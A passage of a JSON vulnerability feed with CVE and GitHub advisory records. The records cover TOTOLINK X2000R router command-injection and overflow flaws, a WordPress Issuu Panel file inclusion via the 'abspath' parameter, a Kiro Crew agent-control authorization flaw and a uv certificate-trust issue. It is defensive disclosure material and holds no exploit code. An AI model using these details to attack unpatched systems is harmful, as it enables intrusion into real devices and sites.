HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.597Z","updatedAt":"2026-10-23T23:17:42.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10138","asOf":"2026-10-23T23:17:42.077Z"},"epss":{"probability":0.01448,"percentile":0.73137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10138","type":"primary","publishedAt":"2026-10-20T21:17:16.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10137","cveId":"CVE-2026-10137","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.480Z","updatedAt":"2026-10-23T23:17:41.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10137","asOf":"2026-10-23T23:17:41.970Z"},"epss":{"probability":0.00598,"percentile":0.48291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10137","type":"primary","publishedAt":"2026-10-20T21:17:16.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10137, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10136","cveId":"CVE-2026-10136","aliases":[],"kind":"vulnerability","title":"A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.360Z","updatedAt":"2026-10-23T23:17:41.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10136","asOf":"2026-10-23T23:17:41.867Z"},"epss":{"probability":0.00598,"percentile":0.48291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10136","type":"primary","publishedAt":"2026-10-20T21:17:16.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10135","cveId":"CVE-2026-10135","aliases":[],"kind":"vulnerability","title":"A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.240Z","updatedAt":"2026-10-23T23:17:41.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10135","asOf":"2026-10-23T23:17:41.767Z"},"epss":{"probability":0.01386,"percentile":0.72042,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10135","type":"primary","publishedAt":"2026-10-20T21:17:16.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10133","cveId":"CVE-2026-10133","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.117Z","updatedAt":"2026-10-23T23:17:41.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10133","asOf":"2026-10-23T23:17:41.663Z"},"epss":{"probability":0.00598,"percentile":0.48291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10133","type":"primary","publishedAt":"2026-10-20T21:17:16.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10132","cveId":"CVE-2026-10132","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:15.993Z","updatedAt":"2026-10-23T23:17:41.560Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10132","asOf":"2026-10-23T23:17:41.560Z"},"epss":{"probability":0.00598,"percentile":0.4829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10132","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10132","type":"primary","publishedAt":"2026-10-20T21:17:15.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10131","cveId":"CVE-2026-10131","aliases":[],"kind":"vulnerability","title":"An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:15.853Z","updatedAt":"2026-10-23T23:17:41.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10131","asOf":"2026-10-23T23:17:41.450Z"},"epss":{"probability":0.01386,"percentile":0.72042,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10131","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10131","type":"primary","publishedAt":"2026-10-20T21:17:15.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-20101","cveId":"CVE-2016-20101","aliases":[],"kind":"vulnerability","title":"Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the...","summary":"Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the 'abspath' parameter. Attackers can send GET requests to menu/documento/requests/ajax-docs.php with a crafted abspath value passed to require() to execute remote PHP code or include local files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.","detail":"Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the 'abspath' parameter. Attackers can send GET requests to menu/documento/requests/ajax-docs.php with a crafted abspath value passed to require() to execute remote PHP code or include local files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:13.727Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-20101","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00398,"percentile":0.33793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-20101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2016-20101","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-20101","type":"primary","publishedAt":"2026-10-20T21:17:13.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-20101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-20101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112380","cveId":"CVE-2026-112380","aliases":[],"kind":"vulnerability","title":"Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's...","summary":"Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's other agent sessions and execute arbitrary commands on the host running Kiro Crew via messages sent to the group.\n\n\n\nTo remediate this issue, users should upgrade to version 0.7.2.","detail":"Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's other agent sessions and execute arbitrary commands on the host running Kiro Crew via messages sent to the group.\n\n\n\nTo remediate this issue, users should upgrade to version 0.7.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T20:17:16.553Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112380","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00407,"percentile":0.34648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112380","type":"primary","publishedAt":"2026-10-20T20:17:16.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-hq85-5cpj-mr62","cveId":null,"aliases":[],"kind":"vulnerability","title":"uv's bundled CA store trusts an emSign root whose intermediate CA keys are compromised","summary":"By default, uv verifies TLS connections against a vendored copy of the `webpki-root-certs` bundle. Versions before 0.13.4 include the `emSign ECC Root CA - G3` root. Eight eMudhra intermediate CA certificates that chain to that root have compromised private keys, and the CA has revoked them.\n\nAn attacker with one of the compromised keys can issue certificates that uv accepts for any hostname, and can be used to issue certificates to enable MITM attacks.","detail":"By default, uv verifies TLS connections against a vendored copy of the `webpki-root-certs` bundle. Versions before 0.13.4 include the `emSign ECC Root CA - G3` root. Eight eMudhra intermediate CA certificates that chain to that root have compromised private keys, and the CA has revoked them.\n\nAn attacker with one of the compromised keys can issue certificates that uv accepts for any hostname, and can be used to issue certificates to enable MITM attacks.\n\nuv 0.13.4 removes the root from its vendored bundle, following `webpki-root-certs` 1.0.10. Upgrade to 0.13.4 or later.\n\nAffected package ranges reported by GitHub:\nuv: < 0.13.4","action":"GitHub lists first patched versions: uv: 0.13.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:37:52.000Z","updatedAt":"2026-10-20T19:37:54.000Z","regions":["Global"],"vendor":null,"product":"uv","stacks":["Python packages (PyPI)","uv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-hq85-5cpj-mr62","asOf":"2026-10-20T19:37:54.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-hq85-5cpj-mr62","url":"https://github.com/advisories/GHSA-hq85-5cpj-mr62","type":"primary","publishedAt":"2026-10-20T19:37:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 